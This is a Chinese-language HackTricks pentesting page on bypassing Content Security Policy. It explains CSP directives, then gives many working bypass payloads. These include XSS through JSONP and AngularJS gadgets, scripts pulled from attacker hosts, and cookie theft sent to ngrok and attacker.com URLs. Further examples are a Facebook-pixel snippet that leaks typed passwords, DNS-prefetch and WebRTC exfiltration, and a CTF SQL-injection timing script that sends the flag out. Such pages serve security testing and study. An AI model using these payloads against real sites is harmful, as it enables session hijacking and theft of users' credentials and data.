Content Security Policy (CSP) Bypass

支持 HackTricks

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激与挑战的内容

实时黑客新闻 通过实时新闻和见解,跟上快速变化的黑客世界

最新公告 了解最新的漏洞赏金计划和重要平台更新

今天就加入我们的 Discord,与顶尖黑客开始合作吧!

什么是 CSP

内容安全策略 (CSP) 被认为是一种浏览器技术,主要旨在 防御诸如跨站脚本 (XSS) 的攻击。它通过定义和详细说明资源可以安全加载的路径和来源来运作。这些资源包括图像、框架和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括内联资源以及通过 evalsetTimeoutsetInterval 等函数执行字符串代码。

CSP 的实施通过 响应头 或通过将 meta 元素嵌入 HTML 页面 来进行。遵循此政策后,浏览器会主动执行这些规定,并立即阻止任何检测到的违规行为。

  • 通过响应头实施:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • 通过 meta 标签实现:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP 可以通过以下头部进行强制执行或监控:

  • Content-Security-Policy: 强制执行 CSP;浏览器会阻止任何违规行为。

  • Content-Security-Policy-Report-Only: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。

Defining Resources

CSP 限制加载主动和被动内容的来源,控制诸如内联 JavaScript 执行和使用 eval() 等方面。一个示例策略是:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

指令

  • script-src: 允许特定来源的JavaScript,包括URL、内联脚本和由事件处理程序或XSLT样式表触发的脚本。

  • default-src: 设置在缺少特定获取指令时获取资源的默认策略。

  • child-src: 指定允许的Web工作者和嵌入框架内容的资源。

  • connect-src: 限制可以通过fetch、WebSocket、XMLHttpRequest等接口加载的URL。

  • frame-src: 限制框架的URL。

  • frame-ancestors: 指定可以嵌入当前页面的来源,适用于<frame><iframe><object><embed><applet>等元素。

  • img-src: 定义允许的图像来源。

  • font-src: 指定通过@font-face加载的字体的有效来源。

  • manifest-src: 定义应用程序清单文件的允许来源。

  • media-src: 定义加载媒体对象的允许来源。

  • object-src: 定义<object><embed><applet>元素的允许来源。

  • base-uri: 指定使用<base>元素加载的允许URL。

  • form-action: 列出表单提交的有效端点。

  • plugin-types: 限制页面可以调用的mime类型。

  • upgrade-insecure-requests: 指示浏览器将HTTP URL重写为HTTPS。

  • sandbox: 应用类似于<iframe>的sandbox属性的限制。

  • report-to: 指定如果违反政策将发送报告的组。

  • worker-src: 指定Worker、SharedWorker或ServiceWorker脚本的有效来源。

  • prefetch-src: 指定将被获取或预获取的资源的有效来源。

  • navigate-to: 限制文档可以通过任何方式导航的URL(a、form、window.location、window.open等)。

来源

  • *: 允许所有URL,除了那些具有data:blob:filesystem:方案的URL。

  • 'self': 允许从同一域加载。

  • 'data': 允许通过数据方案加载资源(例如,Base64编码的图像)。

  • 'none': 阻止从任何来源加载。

  • 'unsafe-eval': 允许使用eval()和类似方法,出于安全原因不推荐使用。

  • 'unsafe-hashes': 启用特定的内联事件处理程序。

  • 'unsafe-inline': 允许使用内联资源,如内联<script><style>,出于安全原因不推荐使用。

  • 'nonce': 使用加密nonce(一次性使用的数字)对特定内联脚本的白名单。

  • 如果您有JS限制执行,可以通过doc.defaultView.top.document.querySelector("[nonce]")在页面内获取使用的nonce,然后重用它加载恶意脚本(如果使用了strict-dynamic,任何允许的来源都可以加载新来源,因此这不是必需的),如在:

重用nonce加载脚本
  • 'sha256-<hash>': 白名单特定 sha256 哈希的脚本。

  • 'strict-dynamic': 如果通过 nonce 或哈希被列入白名单,则允许从任何来源加载脚本。

  • 'host': 指定特定主机,例如 example.com

  • https:: 限制 URL 仅使用 HTTPS。

  • blob:: 允许从 Blob URL 加载资源(例如,通过 JavaScript 创建的 Blob URL)。

  • filesystem:: 允许从文件系统加载资源。

  • 'report-sample': 在违规报告中包含违规代码的示例(对调试有用)。

  • 'strict-origin': 类似于 'self',但确保源的协议安全级别与文档匹配(只有安全源可以从安全源加载资源)。

  • 'strict-origin-when-cross-origin': 在进行同源请求时发送完整 URL,但在跨源请求时仅发送源。

  • 'unsafe-allow-redirects': 允许加载会立即重定向到另一个资源的资源。不推荐使用,因为这会削弱安全性。

不安全的 CSP 规则

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

工作有效载荷: "/><script>alert(1);</script>

self + 'unsafe-inline' 通过 Iframes

'unsafe-eval'

这不起作用,更多信息请 查看此处

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

有效载荷:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

如果你能以某种方式使一个允许的 JS 代码创建一个新的 script 标签在 DOM 中,并且是由允许的脚本创建的,那么新的 script 标签将被允许执行

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

工作有效载荷:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

缺少 object-src 和 default-src

看起来这不再有效

Content-Security-Policy: script-src 'self' ;

有效的有效载荷:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

文件上传 + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

如果您可以上传一个 JS 文件,您可以绕过这个 CSP:

工作有效载荷:

"/>'><script src="/uploads/picture.png.js"></script>

然而,服务器正在验证上传的文件,并且只允许您上传特定类型的文件

此外,即使您能够使用服务器接受的扩展名(如:script.png)在文件中上传JS代码,这也不够,因为一些服务器如apache服务器根据扩展名选择文件的MIME类型,而像Chrome这样的浏览器将拒绝执行应该是图像的内容中的Javascript代码。“希望”有错误。例如,从一个CTF中我了解到Apache不知道_.wave_扩展名,因此它不会以**MIME类型如audio/***提供它。

从这里开始,如果您发现XSS和文件上传,并且您设法找到一个被误解的扩展名,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多用途文件(这里有一些多用途文件示例)。

Form-action

如果无法注入JS,您仍然可以尝试通过注入表单操作来提取例如凭据(并可能期望密码管理器自动填写密码)。您可以在此报告中找到一个示例。另外,请注意default-src不涵盖表单操作。

第三方端点 + ('unsafe-eval')

对于以下某些有效负载**unsafe-eval甚至不需要**。

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

加载一个易受攻击的 Angular 版本并执行任意 JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

使用 Angular + 一个返回 window 对象的函数库的有效载荷 (查看此帖子):

该帖子显示您可以 加载 来自 cdn.cloudflare.com(或任何其他允许的 JS 库库)的所有 ,执行每个库中添加的所有函数,并检查 哪些库中的哪些函数返回 window 对象

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS来自类名:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

滥用谷歌 recaptcha JS 代码

根据 这篇 CTF 文章,你可以在 CSP 内部滥用 https://www.google.com/recaptcha/ 来执行任意 JS 代码,从而绕过 CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

更多 来自此文档的有效载荷:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

利用 www.google.com 进行开放重定向

以下 URL 重定向到 example.com(来自 这里):

https://www.google.com/amp/s/example.com/

滥用 *.google.com/script.google.com

可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在这份报告中所做的那样。

第三方端点 + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

像这样的场景,其中 script-src 设置为 self 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,工作有效载荷:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee 包含可用于不同网站的CSP绕过的现成JSONP端点。

如果受信任的端点包含开放重定向,则会发生相同的漏洞,因为如果初始端点是受信任的,则重定向也是受信任的。

第三方滥用

以下帖子所述,有许多第三方域名可能在CSP中被允许,可以被滥用以提取数据或执行JavaScript代码。这些第三方中的一些是:

如果您在目标的CSP中发现任何允许的域名,您可能能够通过在第三方服务上注册来绕过CSP,并将数据提取到该服务或执行代码。

例如,如果您发现以下CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Content-Security-Policy​: connect-src www.facebook.com;​

您应该能够提取数据,类似于使用 Google Analytics/Google Tag Manager 一直以来的做法。在这种情况下,您遵循以下一般步骤:

  1. 在此处创建一个 Facebook 开发者帐户。

  2. 创建一个新的“Facebook 登录”应用并选择“网站”。

  3. 转到“设置 -> 基本”,获取您的“应用 ID”。

  4. 在您想要提取数据的目标网站中,您可以通过“customEvent”和数据负载直接使用 Facebook SDK 小工具“fbq”来提取数据。

  5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)。

  6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。

然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下自定义事件:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

关于前表中指定的其他七个第三方域名,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 blog post

通过 RPO(相对路径覆盖)绕过

除了前面提到的重定向以绕过路径限制,还有一种称为相对路径覆盖(RPO)的技术可以在某些服务器上使用。

例如,如果 CSP 允许路径 https://example.com/scripts/react/,则可以通过以下方式绕过:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

浏览器最终将加载 https://example.com/scripts/angular/angular.js

这之所以有效,是因为对于浏览器来说,您正在加载一个名为 ..%2fangular%2fangular.js 的文件,该文件位于 https://example.com/scripts/react/ 下,这符合 CSP。

∑,它们将解码它,有效地请求 https://example.com/scripts/react/../angular/angular.js,这等同于 https://example.com/scripts/angular/angular.js

通过 利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则

解决方案是确保服务器端不将 %2f 视为 /,以确保浏览器和服务器之间的一致解释,从而避免此问题。

在线示例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS 执行

缺少 base-uri

如果缺少 base-uri 指令,您可以利用它执行 悬挂标记注入

此外,如果 页面使用相对路径加载脚本(如 <script src="/js/app.js">)并使用 Nonce,您可以利用 base 标签 使其 从您自己的服务器加载 脚本,从而实现 XSS。 如果易受攻击的页面是通过 httpS 加载的,请在 base 中使用 httpS URL。

<base href="https://www.attacker.com/">

AngularJS 事件

一种特定的策略称为内容安全策略(CSP),可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 $event,引用原生浏览器事件对象。这个 $event 对象可以被利用来规避 CSP。值得注意的是,在 Chrome 中,$event/event 对象具有一个 path 属性,包含一个对象数组,涉及事件的执行链,window 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。

通过将这个数组传递给 orderBy 过滤器,可以对其进行迭代,利用终端元素(window 对象)触发像 alert() 这样的全局函数。下面的代码片段阐明了这个过程:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

这个代码片段突出了使用 ng-focus 指令触发事件,使用 $event.path|orderBy 来操纵 path 数组,并利用 window 对象执行 alert() 函数,从而揭示 document.cookie

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 中查找其他 Angular 绕过方法

AngularJS 和白名单域名

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

一个在 Angular JS 应用程序中为脚本加载列入白名单的 CSP 策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息,请参阅此 git repository 中的详细指南。

有效的有效载荷:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

其他 JSONP 任意执行端点可以在 这里 找到(其中一些已被删除或修复)

通过重定向绕过

当 CSP 遇到服务器端重定向时会发生什么?如果重定向导致到一个不被允许的不同源,它仍然会失败。

然而,根据 CSP 规范 4.2.2.3. 路径和重定向 中的描述,如果重定向导致到一个不同的路径,它可以绕过原始限制。

这是一个例子:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

如果CSP设置为https://www.google.com/a/b/c/d,由于路径被考虑,/test/a/test脚本将被CSP阻止。

然而,最终的http://localhost:5555/301将会在服务器端重定向到https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//。由于这是一个重定向,路径不被考虑,因此脚本可以被加载,从而绕过路径限制。

通过这个重定向,即使路径完全指定,仍然会被绕过。

因此,最佳解决方案是确保网站没有任何开放重定向漏洞,并且CSP规则中没有可以被利用的域名。

通过悬挂标记绕过CSP

阅读如何做到这一点

'unsafe-inline'; img-src *; 通过XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' 意味着您可以在代码中执行任何脚本(XSS 可以执行代码),而 img-src * 意味着您可以在网页中使用来自任何资源的任何图像。

您可以通过图像泄露数据来绕过此 CSP(在这种情况下,XSS 滥用一个 CSRF,其中一个可被机器人访问的页面包含 SQLi,并通过图像提取标志):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

您还可以利用此配置来加载插入在图像中的javascript代码。例如,如果页面允许从Twitter加载图像。您可以制作一个特殊图像上传到Twitter,并利用“unsafe-inline”来执行JS代码(作为常规XSS),该代码将加载图像提取其中的JS执行它:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

With Service Workers

Service workers importScripts 函数不受CSP限制:

Policy Injection

研究: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

如果您发送的参数粘贴在 政策的声明中,那么您可以以某种方式更改政策,使其无效。您可以使用以下任何绕过方法允许脚本 'unsafe-inline'

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

因为这个指令会覆盖现有的 script-src 指令。 你可以在这里找到一个例子: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

在 Edge 中要简单得多。如果你可以在 CSP 中添加这个: ;_ Edge丢弃整个策略。 例子: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; 通过 XSS (iframe) - 时间攻击

注意缺少指令 'unsafe-inline' 这次你可以让受害者通过 XSS 使用一个 <iframe 加载一个在你控制下的页面。这次你将让受害者访问你想要提取信息的页面(CSRF)。你无法访问页面的内容,但如果你能控制页面加载所需的时间,你就可以提取所需的信息。

这次将提取一个标志,每当通过 SQLi 正确猜测一个字符时,响应由于 sleep 函数会花费更多时间。然后,你将能够提取标志:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

通过书签小工具

此攻击将涉及一些社会工程学,攻击者说服用户将链接拖放到浏览器的书签小工具上。此书签小工具将包含恶意的javascript代码,当拖放或点击时,将在当前网页窗口的上下文中执行,绕过CSP并允许窃取敏感信息,例如cookies或tokens。

有关更多信息,请查看原始报告

通过限制CSP绕过CSP

这个CTF写作中,CSP通过在允许的iframe中注入更严格的CSP来绕过,该CSP不允许加载特定的JS文件,然后通过原型污染DOM覆盖允许滥用不同的脚本来加载任意脚本

您可以使用**csp属性限制iframe的CSP**:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

这个CTF写作中,通过HTML注入可以进一步限制一个CSP,从而禁用防止CSTI的脚本,因此漏洞变得可利用。 可以使用HTML元标签使CSP变得更加严格,并且可以通过移除允许其nonce入口来禁用内联脚本,并通过sha启用特定的内联脚本

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

如果你能让服务器响应带有 Content-Security-Policy-Report-Only 头部且 值由你控制(可能是因为 CRLF),你可以让它指向你的服务器,并且如果你 包裹 你想要泄露的 JS 内容 使用 <script>,并且因为 CSP 很可能不允许 unsafe-inline,这将 触发 CSP 错误,并且部分脚本(包含敏感信息)将从 Content-Security-Policy-Report-Only 发送到服务器。

对于一个例子 查看这个 CTF 文章

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

通过CSP和Iframe泄露信息

  • 创建一个指向一个URL的iframe(我们称之为https://example.redirect.com),该URL被CSP允许。

  • 该URL随后重定向到一个秘密URL(例如,https://usersecret.example2.com),该URL 不被 CSP允许。

  • 通过监听securitypolicyviolation事件,可以捕获blockedURI属性。该属性揭示了被阻止的URI的域名,从而泄露了初始URL重定向的秘密域名。

有趣的是,像Chrome和Firefox这样的浏览器在处理与CSP相关的iframes时表现不同,可能导致由于未定义行为而泄露敏感信息。

另一种技术涉及利用CSP本身推断秘密子域名。该方法依赖于二分搜索算法,并调整CSP以包含故意被阻止的特定域名。例如,如果秘密子域名由未知字符组成,可以通过修改CSP指令来阻止或允许这些子域名,逐步测试不同的子域名。以下是一个片段,展示了如何设置CSP以促进此方法:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

通过监控哪些请求被CSP阻止或允许,可以缩小秘密子域名中可能的字符,最终揭示完整的URL。

这两种方法利用了CSP在浏览器中的实现和行为的细微差别,展示了看似安全的策略如何无意中泄露敏感信息。

来自这里的技巧。

加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激与挑战的内容

实时黑客新闻 通过实时新闻和见解,跟上快速变化的黑客世界

最新公告 了解最新的漏洞赏金启动和重要平台更新

加入我们 Discord,今天就开始与顶级黑客合作!

绕过CSP的危险技术

参数过多时的PHP错误

根据这个视频中评论的最后一个技术,发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。任何在PHP网页代码中定义的**header()不会被发送**,因为这将触发错误。

PHP响应缓冲区溢出

PHP以默认方式缓冲响应到4096字节。因此,如果PHP显示警告,通过提供足够的数据在警告中响应将在CSP头之前发送,导致头被忽略。 然后,这个技术基本上是用警告填充响应缓冲区,以便CSP头不被发送。

来自这个写作的想法。

重写错误页面

根据这个写作,似乎可以通过加载一个错误页面(可能没有CSP)并重写其内容来绕过CSP保护。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME是一种利用XSS(或高度限制的XSS)在页面的一个端点滥用****同一来源的其他端点的技术。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样,易受攻击的端点可以在有效载荷中使用**opener对象来访问要滥用的真实端点的DOM**。有关更多信息,请查看:

此外,wordpress/wp-json/wp/v2/users/1?_jsonp=data中有一个JSONP端点,该端点将反射输出中发送的数据(仅限字母、数字和点的限制)。

攻击者可以利用该端点生成针对WordPress的SOME攻击并将其嵌入<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>中,请注意这个脚本将被加载,因为它是被'self'允许的。此外,由于安装了WordPress,攻击者可能会通过易受攻击的****回调端点滥用SOME攻击,该端点绕过CSP以给予用户更多权限,安装新插件... 有关如何执行此攻击的更多信息,请查看https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

如果存在严格的CSP,不允许您与外部服务器交互,则始终可以做一些事情来提取信息。

Location

您可以仅更新位置以将秘密信息发送到攻击者的服务器:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

您可以通过注入元标签进行重定向(这只是重定向,不会泄露内容)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

为了更快地加载页面,浏览器将预先解析主机名为IP地址并将其缓存以供后续使用。 您可以通过以下方式指示浏览器预解析主机名:<link rel="dns-prefetch" href="something.com">

您可以利用这种行为来通过DNS请求泄露敏感信息

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

另一种方法:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

为了避免这种情况发生,服务器可以发送HTTP头:

X-DNS-Prefetch-Control: off

显然,这种技术在无头浏览器(机器人)中不起作用

WebRTC

在几个页面上你可以看到WebRTC不检查CSP的connect-src策略

实际上,你可以通过一个_DNS请求_来_泄露_信息。看看这段代码:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

另一个选项:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

检查 CSP 策略在线

自动创建 CSP

https://csper.io/docs/generating-content-security-policy

参考资料

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解 参与深入探讨黑客的刺激与挑战的内容

实时黑客新闻 通过实时新闻和见解,跟上快速变化的黑客世界

最新公告 了解最新的漏洞赏金计划和重要平台更新

加入我们 Discord,今天就开始与顶尖黑客合作!

支持 HackTricks

Last updated